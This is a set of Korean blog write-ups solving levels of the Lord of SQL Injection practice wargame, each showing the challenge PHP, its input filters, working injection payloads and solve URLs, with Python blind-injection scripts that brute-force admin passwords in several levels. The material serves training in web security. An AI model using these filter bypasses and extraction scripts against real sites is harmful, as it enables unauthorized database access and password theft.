[LOS] nightmare 풀이

 

PHP & query 
http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>
select id from prob_gremlin where id='' and pw=''

 

문제 풀이

더보기
solve 조건
if($result['id']) solve("nightmare"); 

id값이 있기만하면 문제가 해결된다.

 

특수문자 제약
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

 6자리 이상이면 안된다.

 

 

sqlInjection 쿼리
select id from prob_nightmare where pw=('')=0;') and id!='admin'

문자열에 숫자가 없을경우 정수형타입의 0으로 형변환된다. ;%00으로 주석을 만들어준다

ex) pw('1a') = 1 (true) // 앞에 숫자가 1이여서 1로 형변환

 

URL

los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php?pw=')=0;%00

 

 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] zombie_assassin 풀이 - 17번  (10) 2020.09.17
[LOS] succubus 풀이 -16번  (0) 2020.09.17
[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16

[LOS] zombie_assassin 풀이

 

PHP & query 
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>
select id from prob_zombie_assassin where id='' and pw=''

 

문제 풀이

더보기
solve 조건
if($result['id']) solve("zombie_assassin"); 

id값이 있기만하면 문제가 해결된다.

 

특수문자 제약
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~")

문자가 거꾸로 형성되고 특수문자가 있으면 뒤에\가붙는다 

 

sqlInjection 쿼리
select id from prob_zombie_assassin where id='"\' and pw='or true #'
sql에서 인식하는 결과

 특수문자를 넣으면 \가 입력되는 것을 이용하여 해당형태로 만든다.

 

URL

los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id="&pw=%23 eurt ro

 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] nightmare 풀이 - 18번  (0) 2020.09.17
[LOS] succubus 풀이 -16번  (0) 2020.09.17
[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16

[LOS] gremlin 풀이

 

PHP & query 
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>
select id from prob_gremlin where id='' and pw=''

 

문제 풀이

더보기
solve 조건
if($result['id']) solve("succubus");

id값이 있기만하면 문제가 해결된다.

 

특수문자 제약
 if(preg_match('/\'/',$_GET[id])) exit("HeHe");
 if(preg_match('/\'/',$_GET[pw])) exit("HeHe");

 싱글쿼터를 필터링한다.

 

sqlInjection 쿼리
select id from prob_succubus where id='\' and pw='or true #'

 id에 \를 넣어서 문자화 시킨다

 select id from prob_succubus where id='\' and pw='or true #'

 id 는 \' and pw= 가 된다

 

URL

los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=or true %23 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] nightmare 풀이 - 18번  (0) 2020.09.17
[LOS] zombie_assassin 풀이 - 17번  (10) 2020.09.17
[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16

[LOS] assassin 풀이

 

PHP & query 
http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>
select id from prob_assassin where pw like ''

 

문제 풀이

더보기
solve 조건
if($result['id'] == 'admin') solve("assassin"); 

%를 이용해 대략적인 패스워드를 추측하면 해결된다.

 

 

특수문자 제약
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 

 

 싱글 쿼터를 사용하지 못한다.

 

Python code
import requests

URL='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '내 쿠키값'}
password = '90'
length=0;

for i in range(100):
    for j in range(ord('0'),ord('9')+1):
        query={'pw':password+chr(j)+'%'}
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if('Hello admin' in res.text):
            password = password +chr(j)
            print(password)
            


 

코드를 돌리면 guest밖에 나오지 않는다 admin과 비밀번호가 겹쳐 나오는 현상이다.

13 번 라인을 Hello guest로 먼저 추측한후 다음 sql을 돌린다.

 

 

URL

los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902%

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] zombie_assassin 풀이 - 17번  (10) 2020.09.17
[LOS] succubus 풀이 -16번  (0) 2020.09.17
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16
[LOS] darkknight 풀이 - 12번  (0) 2020.09.16

[LOS] glant 풀이

 

PHP & query 
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>
select 1234 fromprob_giant where 1

 

문제 풀이

더보기
solve 조건
 $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
 if($result[1234]) solve("giant"); 

 $_GET[shit] 부분이 공백이면 풀린다

 

특수문자 제약
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 

 

 |\n|\r|\t 를 필터링 하고 있다. %0b로 우회한다 

 

 

URL

los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0b

 

 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] succubus 풀이 -16번  (0) 2020.09.17
[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16
[LOS] darkknight 풀이 - 12번  (0) 2020.09.16
[LOS] golem 풀이 - 11번  (0) 2020.09.16

[LOS] bugbear 풀이

 

PHP & query 
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>
select id from prob_bugbear where id='guest' and pw='' and no=

 

문제 풀이

더보기
solve 조건
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 

 Blind Injection 문제이다

 

 

특수문자 제약
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

 

 [and,or] => [&&,||] ,[like] => [in], [ ] = [/**/], [']=>["] 로 각각 치환한다

 

Python code
import requests

URL='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '내 쿠기 값'}
password = ''
length=0;
'''
for i in range(100):
    query={'no': '-1/**/||/**/instr/**/(id,"admin")/**/&&/**/length(pw)>'+str(i)}
    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if('Hello admin' in res.text):
        print(i)
        length=i;
'''   
    
for i in range(8):
    for j in range(ord('0'),ord('z')+1):
        query={'no': '-1/**/||/**/instr/**/(id,"admin")/**/&&/**/left(pw,'+str(i+1)+')/**/in/**/(\"' +password + chr(j)+ '\")#'}
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if('Hello admin' in res.text):
            password = password + chr(j)
            print(password)
            break;


#no=-1/**/||/**/instr/**/(id,"admin")/**/length(pw)<=i
#-1/**/||/**/instr/**/(id,"admin")/**/&&/**/left(pw,1)/**/in/**/("5")#

 

 

URL

los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=52dc3991

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] darkknight 풀이 - 12번  (0) 2020.09.16
[LOS] golem 풀이 - 11번  (0) 2020.09.16
[LOS] skeleton 풀이 - 10번  (0) 2020.09.15

[LOS] darkknight 풀이

 

PHP & query 
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>
select id from prob_darkknight where id='guest' and pw='' and no=

 

문제 풀이

더보기
solve 조건
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 

Blind Injection을 이용해 해결한다

 

 

 

특수문자 제약
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
 if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
 if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 

 싱글 쿼터와 substr을 사용하지 못한다. ""와 (left,mid,right) 함수를 활용한다.

 

 

Python code
import requests

URL='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '내 쿠기 값'}
password = ''
length=0;

for i in range(100):
    query={'no': '-1 or id like 0x61646D696E and length(pw) like '+str(i)+' # '}
    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if('Hello admin' in res.text):
        print(i)
        length=i;
    
    
for i in range(length):
    for j in range(ord('0'),ord('z')+1):
        query={'no': '-1 || id like 0x61646D696E and left(pw,'+str(i+1)+') like \"' +password + chr(j)+ '\"#'}
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if('Hello admin' in res.text):
            password = password + chr(j)
            print(password)
            break;

 

 

 

URL

los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=0b70ea1f

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16
[LOS] golem 풀이 - 11번  (0) 2020.09.16
[LOS] skeleton 풀이 - 10번  (0) 2020.09.15
[LOS] vampire 풀이 - 9번  (0) 2020.09.15

[LOS] golem 풀이

 

PHP & query 
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>
select id from prob_golem where id='guest' and pw=''

 

문제 풀이

더보기
solve 조건
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

정확한 pw값을 요구하는 문제이다 4,7번문제랑 동일하다.

 

 

특수문자 제약
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 

and,or,=,substr을 사용하지 못 한다. 7번문제 파이썬 코드에 [= -> like], [substr() -> left()]  바꾸기만 하면 해결된다.

 

 

Python code
import requests

URL='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '내 쿠기값'}
password = ''
length=0;

for i in range(100):
    query={'pw': '\' || length(pw) like '+str(i)+' # '}
    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if('Hello guest' in res.text):
        print(i)
        length=i;
        break;
    
for i in range(length):
    for j in range(ord('0'),ord('z')+1):
        query={'pw': '\' || id like \'admin\'&& left(pw,'+str(i+1)+') like \'' +password + chr(j)+ '\'#'}
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if('Hello admin' in res.text):
            password = password + chr(j)
            print(password)
            break;

 7번문제랑 똑같다.

[LOS] orge 풀이 - 7번

 

[LOS] orge 풀이 - 7번

[LOS] gremlin 풀이 PHP & query

te-ra.tistory.com

 

URL

los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] bugbear 풀이 - 13번  (0) 2020.09.16
[LOS] darkknight 풀이 - 12번  (0) 2020.09.16
[LOS] skeleton 풀이 - 10번  (0) 2020.09.15
[LOS] vampire 풀이 - 9번  (0) 2020.09.15
[LOS] troll 풀이 - 8번  (0) 2020.09.15

+ Recent posts